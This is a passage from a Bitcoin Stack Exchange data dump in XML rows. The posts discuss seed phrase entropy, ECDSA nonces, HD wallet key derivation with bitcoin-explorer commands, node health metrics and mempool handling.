  <row Id="38512" PostTypeId="1" AcceptedAnswerId="38554" CreationDate="2015-07-10T08:21:10.167" Score="17" ViewCount="28561" Body="&lt;p&gt;Is 12-word seed phrase (as used by Electrum for example) safe enough for generating an offline wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My understanding is this: 2048 words pool make 11 bits of entrophy per word. 12 words in seed make total 132 bits of entrophy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this considered safe enough?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not talking about being quantum-computing-resistent, just being infeasible to crack using brute force given the expected computing power in the foreseeable future.&lt;/p&gt;&#xA;" OwnerUserId="15073" LastActivityDate="2023-09-03T15:00:45.787" Title="Is 12-word seed phrase safe enough?" Tags="|wallet|electrum|passphrase|safety|seed|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38513" PostTypeId="1" AcceptedAnswerId="38521" CreationDate="2015-07-10T09:47:36.317" Score="4" ViewCount="3274" Body="&lt;p&gt;I want to create ECDSA signature &lt;code&gt;{r,s}&lt;/code&gt; where &lt;code&gt;r&lt;/code&gt; is very low (for example &lt;code&gt;1&lt;/code&gt;) and can be encoded in DER-format in one byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to calculate &lt;code&gt;k&lt;/code&gt; value? Seems to me that it does not depend of anything. What is the value of &lt;code&gt;k&lt;/code&gt; which produces &lt;code&gt;r=1&lt;/code&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: I do not worry for the safety of my private key while publishing this signature.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastEditorUserId="12983" LastEditDate="2015-07-10T15:25:10.090" LastActivityDate="2022-07-03T06:56:09.297" Title="The shortest ECDSA signature" Tags="|security|ecdsa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38514" PostTypeId="2" ParentId="38512" CreationDate="2015-07-10T10:27:46.680" Score="13" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Is this considered safe enough?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing is &quot;safe enough&quot; if we do not know the cost. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;OK, if you have $100k in bitcoins the 12-words phrase is safe enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the 12-words phrase is the seed to the &quot;Method of destroying the Universe&quot; I would recommend to add at least 11 bits of entropy and use 13 words.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-07-10T10:27:46.680" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38515" PostTypeId="1" CreationDate="2015-07-10T10:35:24.520" Score="1" ViewCount="480" Body="&lt;p&gt;I did not understand the concept of a seed in &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0032.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP0032&lt;/a&gt; that well. Would you mind telling me do the keys that are derived from a key tree of Hierarchical Deterministic Wallet (HDW) depend on a root seed? In another words, do the derived keys differ for different root seed values or not?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&#xA;Best Regards&lt;/p&gt;&#xA;" OwnerUserId="27289" LastEditorUserId="10377" LastEditDate="2015-07-11T14:57:51.830" LastActivityDate="2015-09-09T15:56:19.247" Title="Do the keys that are derived from a BIP-32 HD wallet depend on an initial seed?" Tags="|bitcoind|bip32-hd-wallets|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38518" PostTypeId="1" CreationDate="2015-07-10T13:35:39.643" Score="1" ViewCount="348" Body="&lt;p&gt;I am looking for a method which would allow a keypair to be modified in a manner which is unpredictable to the original creator.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was thinking a user creates a key and commits it by making a transaction which is written to the blockchain.  The block hash could be used as a source of unpredictability to derive a new keypair.  Can this be done in a manner than only the derived private key can be computed from the original private key and the derived public key can be computed without the original or new private key?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;k = existing private key&#xA;K = existing public key&#xA;B = hash of block hash&#xA;k' = derived private key&#xA;K' = derived public key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there some pair of functions such that solves the following?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;K' = FPub(K, B)&#xA;k' = FPriv(k, B)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Are there any security implications?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be clear the new public key should be derived using only public information (existing public key and scalar).&lt;/p&gt;&#xA;" OwnerUserId="307" LastActivityDate="2018-06-08T17:45:24.077" Title="Is it possible to shift/modify a ECDSA keypair by a scalar where the public key can be computed using only public information?" Tags="|private-key|public-key|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38519" PostTypeId="2" ParentId="38518" CreationDate="2015-07-10T13:59:13.690" Score="1" Body="&lt;p&gt;Simple multiplication should work. k' = B * k (normal multiplication in the modular field), K' = B * K (adding the point K to itself B times, using multiplication by doubling).&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2015-07-10T13:59:13.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38520" PostTypeId="2" ParentId="38518" CreationDate="2015-07-10T13:59:14.200" Score="2" Body="&lt;p&gt;I believe simple Elliptic Curve addition should accomplish what you are looking for. The process is similar to how child private and public keys are derived from parent keys in BIP32 (HD) wallets.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def FPub(K, B):&#xA;    block_pub = hash(B)*G&#xA;    // Note that the below addition represents ECC addition&#xA;    return block_pub + K &#xA;&#xA;def FPriv(k, B):&#xA;    block_priv = hash(B)&#xA;    // Note that the below addition is addition mod curve order 'n'&#xA;    return block_priv + k&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that hash(B) is used instead of B itself because B is not sufficiently random (it starts with a string of 0 bits).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this scheme, any observer can very the chain of public keys, but only the owner of the original private key can derive the private key for any step in the chain.&lt;/p&gt;&#xA;" OwnerUserId="18196" LastActivityDate="2015-07-10T13:59:14.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38521" PostTypeId="2" ParentId="38513" CreationDate="2015-07-10T15:06:04.270" Score="6" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;What is the value of &lt;code&gt;k&lt;/code&gt; which produces &lt;code&gt;r=1&lt;/code&gt; ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;It's impossible to know that. If you could derive &lt;code&gt;r&lt;/code&gt; for arbitrary values then ECDSA would be fundamentally broken. The best you can do is grind &lt;code&gt;k&lt;/code&gt; until you get an &lt;code&gt;r&lt;/code&gt; that happens to have a short encoding.&lt;/p&gt;&#xA;&lt;p&gt;For the sake of the exercise:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;k: 55573144136627188774517374788342221967869962622835886499477787746883063622036&#xA;r: 771676860789419846973923839003663416737624455477806040640071960112246091&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This nonce will be slightly smaller than most when encoded, but of course &lt;strong&gt;if you attempt to use it in a signature you have exposed your private key&lt;/strong&gt;. If you generate this secretly you can only use the &lt;code&gt;k&lt;/code&gt; value once and the result might be at best a couple of bytes difference in the encoded transaction.&lt;/p&gt;&#xA;&lt;p&gt;It hardly seems worth it to be honest.&lt;/p&gt;&#xA;" OwnerUserId="24925" LastEditorUserId="111469" LastEditDate="2020-10-25T01:53:00.810" LastActivityDate="2020-10-25T01:53:00.810" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="38522" PostTypeId="2" ParentId="38511" CreationDate="2015-07-10T15:09:42.730" Score="3" Body="&lt;p&gt;If the transaction is not in your wallet, the RPC call you want to be using is &lt;code&gt;getrawtransaction&lt;/code&gt; not &lt;code&gt;gettransaction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoin-cli getrawtransaction 6f5dfa31bef79d0c8cdd58530fc9f0ed2427e7085d421755f3fe78ca6ac326ef 1&#xA;{&#xA;  &quot;hex&quot;: &quot; &quot;,&#xA;  &quot;txid&quot;: &quot;6f5dfa31bef79d0c8cdd58530fc9f0ed2427e7085d421755f3fe78ca6ac326ef&quot;,&#xA;  &quot;version&quot;: 1,&#xA;  &quot;locktime&quot;: 0,&#xA;  &quot;vin&quot;: [&#xA;    {&#xA;      &quot;txid&quot;: &quot;c88f369cfe24e402eafd97c7318183ed780baa3b92a3459fc161eb9472ea532b&quot;,&#xA;      &quot;vout&quot;: 1,&#xA;      &quot;scriptSig&quot;: {&#xA;        &quot;asm&quot;: &quot;3045022100acc3143388da78db06726c89f5c05a2e25560e6df27ff0df1918f6e1f12629b202205ab9ae4b639742450f64e2014eadd6433d269f0d37a3c3fdad2b19076e546ab701 034a506701c7698e39a20f3de3f81b76c623ee7530ccac43465ea69f73c6fbe444&quot;,&#xA;        &quot;hex&quot;: &quot;483045022100acc3143388da78db06726c89f5c05a2e25560e6df27ff0df1918f6e1f12629b202205ab9ae4b639742450f64e2014eadd6433d269f0d37a3c3fdad2b19076e546ab70121034a506701c7698e39a20f3de3f81b76c623ee7530ccac43465ea69f73c6fbe444&quot;&#xA;      },&#xA;[....]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-10T15:09:42.730" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38524" PostTypeId="1" CreationDate="2015-07-10T17:56:18.847" Score="2" ViewCount="159" Body="&lt;p&gt;What metrics can I use as indicators of the health of (a) a full bitcoin node I am running and (b) the bitcoin network as a whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples I've considered: recency of last block I received on my node is a good indicator of (a) or (b) -- if a long time passes, I have an indication that either my node or the network is not in a good state.  The number of full nodes (N) participating in the network is a good measure of (b).  N is difficult to measure but the folks here are taking a good run at it: &lt;a href=&quot;https://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;https://getaddr.bitnodes.io/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What other metrics should I look at on my nodes or on broader level across the network, to gauge the health of my nodes and the network?&lt;/p&gt;&#xA;" OwnerUserId="27333" LastActivityDate="2022-08-17T11:38:26.767" Title="Metrics Correlated to &quot;Health&quot; of Bitcoin Node and Network" Tags="|network|nodes|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38525" PostTypeId="2" ParentId="38496" CreationDate="2015-07-10T19:26:07.007" Score="0" Body="&lt;p&gt;All these possible attacks have been studied in Neucoin (Peercoin fork) white paper available here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.neucoin.org/en/whitepaper/download&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.neucoin.org/en/whitepaper/download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is their conclusion on the stake grinding attack (3.3.3):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To conclude this discussion on grinding in proof-of-stake, here is a&#xA;  statistic for the critics who say it is “costless” mini to grind&#xA;  through the blockspace: if an attacker owned 10% of NeuCoin’s staked&#xA;  currency and had access to all of the hash power of the Bitcoin&#xA;  network, his odds of success in a grinding attack would be one out of&#xA;  ∼10⁸⁷. By the way, there are only ∼10⁸⁰ atoms in the observable&#xA;  universe.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;These two attacks have also been described on Peercoin forum:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Time-drift: &lt;a href=&quot;https://www.peercointalk.org/index.php?topic=2976.msg27924#msg27924&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.peercointalk.org/index.php?topic=2976.msg27924#msg27924&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Stake-grinding: &lt;a href=&quot;https://www.peercointalk.org/index.php?topic=2976.msg27789#msg27789&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.peercointalk.org/index.php?topic=2976.msg27789#msg27789&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18553" LastEditorUserId="11997" LastEditDate="2017-06-10T23:48:55.793" LastActivityDate="2017-06-10T23:48:55.793" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38527" PostTypeId="1" CreationDate="2015-07-10T20:01:00.913" Score="0" ViewCount="68" Body="&lt;p&gt;I have started syncing the blocks and didn't know how much room was need, I am about 40 gb through and my device is full. I already have money on the account, but it isn't synced far enough to send the bitcoins out. &lt;/p&gt;&#xA;" OwnerUserId="27336" LastEditorUserId="18196" LastEditDate="2015-07-11T14:49:09.383" LastActivityDate="2015-08-10T16:08:58.343" Title="How can I regain coins on a device with insufficient memory to fully synchronize?" Tags="|bitcoin-core|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38528" PostTypeId="2" ParentId="38527" CreationDate="2015-07-10T20:28:31.717" Score="1" Body="&lt;p&gt;You can always save the private key and import it to another wallet, or in a web wallet for more convenience.&lt;/p&gt;&#xA;" OwnerUserId="27337" LastActivityDate="2015-07-10T20:28:31.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38530" PostTypeId="1" AcceptedAnswerId="38531" CreationDate="2015-07-10T22:34:56.113" Score="7" ViewCount="4441" Body="&lt;p&gt;I understand that the blockchain is what keeps track of who has what coins and makes sure that everything is correct and secure, but why do I have to download it?  Isn't that where the miners come in?  Don't they keep track of the blockchain?&lt;/p&gt;&#xA;" OwnerUserId="27340" LastActivityDate="2017-11-10T17:51:21.070" Title="Why does bitcoin core need to download the blockchain" Tags="|blockchain|bitcoin-core|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38531" PostTypeId="2" ParentId="38530" CreationDate="2015-07-11T01:08:19.083" Score="11" Body="&lt;p&gt;Certainly miners, and many other users, keep track of the block chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you don't download and verify the block chain yourself, what will you do when you want to know whether a transaction is valid?  You could ask a miner, but what if they decide to lie to you?  You would have to trust them to tell you the truth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of the Bitcoin security model is that you don't have to trust anybody.  When you verify the block chain for yourself, nobody can trick you into believing that an invalid transaction is valid, or vice versa.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2015-07-11T01:08:19.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38532" PostTypeId="2" ParentId="38515" CreationDate="2015-07-11T01:13:32.150" Score="1" Body="&lt;p&gt;The short answer is yes.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A real example is provided below that applies bitcoin-explorer (bx) client on a UNIX command line interface to synthesize a very simple &quot;low entropy&quot; Bitcoin brain wallet seed that is 256 bits in length:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo “Hello its me” | bx base16-encode | bx sha256&lt;/code&gt;&#xA;cc64b0cb02990d2a17ba0f4274df3e38448454da4fb22a9ca8d23944be144e1d&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $seed above feeds the synthesis process of BIP 32 m/0/12d/4 private extended key below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $seed | bx hd-new | bx hd-private -i 0 | bx hd-private -d -i 12 | bx hd-private -i 4&lt;/code&gt;&#xA;xprv9yimFehUHrTzsGso7fg1yXqzGgAAbYJxubKbgZWzVYvf2tSNcQvbReku1xEiqmoHhhHzRsedx2a4YVQ5qf4TtkdP5DMV7dqhnK1ihKZA5Cj&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different seeds feeding the &quot;bx hd-new&quot; command will yield different xprv* extended private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $pvt_ext_key above can be converted into a traditional elliptic curve WIF key  below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $pvt_ext_key | bx hd-to-wif&lt;/code&gt;&#xA;KzWMQhXEz1Z8s5s16ArUvUEgUmX6rFahacnaMi8HMEUKFDSQ6Pks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The $pvt_ec_WIF_key above can also be directly converted into a Bitcoin address with below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $pvt_ext_key | bx hd-to-address&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1ATcSQCeuQB8xNvCH7XSksNUs8SHU1dfEe&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2015-07-11T01:13:32.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38533" PostTypeId="2" ParentId="38530" CreationDate="2015-07-11T02:20:16.930" Score="2" Body="&lt;p&gt;Bitcoin is trustless, so you need to validate the transaction yourself. The miner are rewarded for protecting the network by working on special hash. A miner that would release a block with an invalid transaction would be rejected by all nodes and would not work... because everyone is validating everything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole blockchain is not required to validate, in fact you need only unspent outputs. Right now there is no way to get that beside download the whole blockchain.&lt;/p&gt;&#xA;" OwnerUserId="2609" LastEditorUserId="2609" LastEditDate="2017-11-10T17:51:21.070" LastActivityDate="2017-11-10T17:51:21.070" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38534" PostTypeId="2" ParentId="38524" CreationDate="2015-07-11T02:37:20.923" Score="1" Body="&lt;p&gt;Due to the way the system operates it's actually a fairly difficult job deriving metrics of health.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Measuring the time since last block is very tricky as a measure of health or connectivity to the network. Block times follow a poisson distribution, you might only see two blocks in a 3 hour period and that would be completely acceptable behavior (though slightly unlikely) and not at all indicative of a problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the other direction the July 2015 incident had over 50% of the global hashrate ended up mining an invalid chain for over an hour. Normally this might eventually indicate that you had been left behind on an invalid chain and action might need to be taken, where in this situation seeing a low hashrate meant that you were on the valid side of things. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Comparing your block height to other websites is pretty unreliable as well, if block explorer websites were an authority on which blocks were value then during the July 2015 event the network would have broken completely. During this event many followed the completely invalid chain and displayed this information for hours or days before being patched. Block explorer services are frequently incorrect, out of date, or simply unavailable for for phone a friend assurance of the correct chain. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The number of nodes is tangentially related to the health of the network, this measure has high latency and is extremely easily fooled by even the most basic of attackers. If you use this as a measure of health it could be pushed way up into the stratosphere by a bored criminal with a botnet, and it would be extremely hard to detect an attack like this happening over large time span. If anything the outlook right now based on this measure would be &quot;extremely poor&quot;, with under 5500 nodes exposing listening ports on the public internet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Statistical projects like &lt;a href=&quot;http://statoshi.info/&quot; rel=&quot;nofollow&quot;&gt;Statoshi&lt;/a&gt; attempt to quantify node performance and other metrics, though many require deep knowledge of the software to make any sense of and don't give much measure of the network as a whole. Simpler projects like &lt;a href=&quot;http://213.165.91.169/&quot; rel=&quot;nofollow&quot;&gt;Shorenas network monitor&lt;/a&gt; give more general statistics about operation, bandwidth, and connections to the network. The aforementioned &lt;a href=&quot;http://getaddr.bitnodes.io/&quot; rel=&quot;nofollow&quot;&gt;Bitnodes&lt;/a&gt; project has a limited reach (not all networks are crawled, the data has been inaccurate at times), but gives a general idea of the number of listening sockets available to the wider internet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a lot harder of a task than one might imagine setting out, and no real clear answer. &lt;/p&gt;&#xA;" OwnerUserId="24925" LastActivityDate="2015-07-11T02:37:20.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38535" PostTypeId="1" AcceptedAnswerId="38541" CreationDate="2015-07-11T03:21:06.990" Score="1" ViewCount="134" Body="&lt;p&gt;I notice that mempool messages result in multiple tx messages, usually completely out of order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I generally do is re-queue the message until the parent is processed, however that doesn't seem to be the right approach. If the parent can't be verified, shouldn't it be discarded immediately?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a hostile scenario I could receive an unsolicited tx that relies on an unseen parent. What are the best practices here? Just wait up until N seconds and then discard?&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2015-07-11T14:46:16.293" Title="Out of order mempool TX" Tags="|mempool|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38536" PostTypeId="2" ParentId="35416" CreationDate="2015-07-11T03:34:35.903" Score="1" Body="&lt;p&gt;Let's assume a &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-32&lt;/a&gt; compliant HD wallet is also &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0039.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-39&lt;/a&gt; and &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;nofollow noreferrer&quot;&gt;BIP-44&lt;/a&gt; compliant.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's next assume that when you first configured your BIP-39 compliant HD wallet it provided you the following set of words to be used to reconstitute your master seed: &lt;code&gt;small cereal crazy ahead move never galaxy draft draw plunge sort identify embark clerk hard wagon clever torch cruel income episode any debris puppy&lt;/code&gt;.  Additionally, let's also assume the wallet requested that you enter an additional BIP-39 related salted password that will be set to &lt;code&gt;I'mAbadASS&lt;/code&gt; for discussion purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A 512 bit root seed &lt;code&gt;m&lt;/code&gt; could be obtained for the situation above by issuing the following bitcoin-explorer (bx) command: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo &quot;small cereal crazy ahead move never galaxy draft draw plunge sort identify embark clerk hard wagon clever torch cruel income episode any debris puppy&quot; | bx mnemonic-to-seed -l en -p &quot;I'mAbadASS&quot;&lt;/code&gt; &#xA;c64364d5a4175ff506620c3b788633063a2b3808579cd0f074503a365d283fc3a0bfb50d98f1293828e868e865054eff94261c206d35138689ce97efef9ada9c&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BIP-44 compliant HD trees use the &lt;code&gt;m/purpose'/coin_type'/ account'/change/address_index&lt;/code&gt; convention to derive private keys and associated addresses.  Let's then assume the wallet only has one account 0.  For the Bitcoin the coin_type the private key tree would look like m/44'/0'/0'/c/i where c can be &lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki#change&quot; rel=&quot;nofollow noreferrer&quot;&gt;0 or 1&lt;/a&gt; and i is an index used to synthesize the i-th extended private key, i-th extended public key or address.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;m/44'/0'/0'/1/0 could then be synthesized as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $root_seed | bx hd-new | bx hd-private -i 44 -d | bx hd-private -i 0 -d | bx hd-private -i 0 -d | bx hd-private -i 1 | bx hd-private -i 0&lt;/code&gt;&#xA;xprvA3zHj8cyzFJiKAXiqdLqrdjUvMqdxUbrpSpDGfxHA15uk2j3fUknu2GN6rSYpPc3QDhALvLBNtKfNGQTLYLNFJD5FKnuFbDPRoBp5TAHFba&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the resulting extended private key (ext_prv_key) above, the corresponding public address and private key can be found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $ext_prv_key | bx hd-to-address&lt;/code&gt;&lt;br&gt;&#xA;1BLQ28VdYxJ4Y89fjpbNP5ihUvy2hMkGgq&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then determine if any funds have been sent to the address above by issuing &lt;code&gt;% bx fetch-balance 1BLQ28VdYxJ4Y89fjpbNP5ihUvy2hMkGgq&lt;/code&gt; on a computer attached to the Internet or have a very fresh bitcoin-server full node server available for your bx on your private computer that is offline.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If funds are present, to obtain the private keys to import into another wallet try:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $ext_prv_key | bx hd-to-wif&lt;/code&gt;&lt;br&gt;&#xA;L3KsdTwat69cMtLTJE4W2G77SgazLGqhzfvMkYQsuwMC96tr3Tj8 &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;qrencode&lt;/code&gt; command can receive the piped text output immediately above to synthesize a QR image for a smart cell phone or tablet based wallet to easily import from an offline key synthesis computer that retains a network air-gap.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;% echo $ext_prv_key | bx hd-to-wif | qrencode -o QRwif.png&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/37013/how-to-import-a-hd-wallet-from-an-extended-private-key&quot;&gt;how-to-import-a-hd-wallet-from-an-extended-private-key&lt;/a&gt; for more Electrum specific details.&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2015-07-11T03:34:35.903" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38537" PostTypeId="1" AcceptedAnswerId="38546" CreationDate="2015-07-11T10:26:45.437" Score="5" ViewCount="548" Body="&lt;p&gt;I run a Bitcoin daemon on my LAN server that is connected to the Internet, and would like to use one or more Bitcoin wallets on local workstations that would connect only to my daemon. This initially works (connect=IP in wallet's bitcoin.conf), but when the daemon reaches the maxconnections, local wallets can't connect until the daemon is restarted so all the existing connections are closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to permit local clients to connect to the daemon regardless of maxconnections parameter, or to somehow reserve few &quot;slots&quot; to particular local IP addresses?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="27343" LastActivityDate="2015-07-15T21:31:40.780" Title="Reserve the connection for local wallets" Tags="|wallet|daemon|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38538" PostTypeId="2" ParentId="10622" CreationDate="2015-07-11T10:41:10.043" Score="0" Body="&lt;p&gt;There is a pythonproject called moneywagon that tries to be a universal bockchain client library. Take a look through this file, and you can see about 20 different blockchain API's&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/priestc/moneywagon/blob/master/moneywagon/services.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/priestc/moneywagon/blob/master/moneywagon/services.py&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18150" LastActivityDate="2015-07-11T10:41:10.043" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38539" PostTypeId="1" CreationDate="2015-07-11T11:31:25.487" Score="2" ViewCount="1135" Body="&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0044.mediawiki&quot; rel=&quot;nofollow&quot;&gt;BIP-44&lt;/a&gt; compliant HD wallet trees use the m/purpose'/coin_type'/ account'/change/address_index convention to derive private keys and associated addresses. For coin_type, BIP-44 makes a reference to &lt;a href=&quot;http://doc.satoshilabs.com/slips/slip-0044.html#registered-coin-types&quot; rel=&quot;nofollow&quot;&gt;registered coin types&lt;/a&gt;.  Will the Darkcoin index of 5 work for Dash?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compressed&lt;/strong&gt; DASH private WIF key (Darkcoin v0.6+ stores public keys in compressed format.):&#xA;&lt;code&gt;% echo 'very complex gibberish' | bx base16-encode | bx sha256 | bx hd-new | bx hd-private -d -i 44 | bx hd-private -d -i 5 | bx hd-private -d -i 0 | bx hd-private -i 0 | bx hd-private -i 0 | bx hd-to-ec | sed 's/$/01/' | bx base58check-encode -v 204&lt;/code&gt;&#xA;XH2Yndjv6Ks3XEHGaSMDhUMTAMZTTWv5nEN958Y7VMyQXBCJVQmM&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Compressed&lt;/strong&gt; public address:&#xA;&lt;code&gt;% echo 'very complex gibberish' | bx base16-encode | bx sha256 | bx hd-new | bx hd-private -d -i 44 | bx hd-private -d -i 5 | bx hd-private -d -i 0 | bx hd-private -i 0 | bx hd-private -i 0 | bx hd-to-ec | bx ec-to-public    | bx ec-to-address -v 76&lt;/code&gt;&#xA;Xb9HJy46M9u3SLAWVitS4eV6gEMuVFfZX2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uncompressed&lt;/strong&gt; DASH private WIF key:&#xA;&lt;code&gt;% echo 'very complex gibberish' | bx base16-encode | bx sha256 | bx hd-new | bx hd-private -d -i 44 | bx hd-private -d -i 5 | bx hd-private -d -i 0 | bx hd-private -i 0 | bx hd-private -i 0 | bx hd-to-ec | bx base58check-encode -v 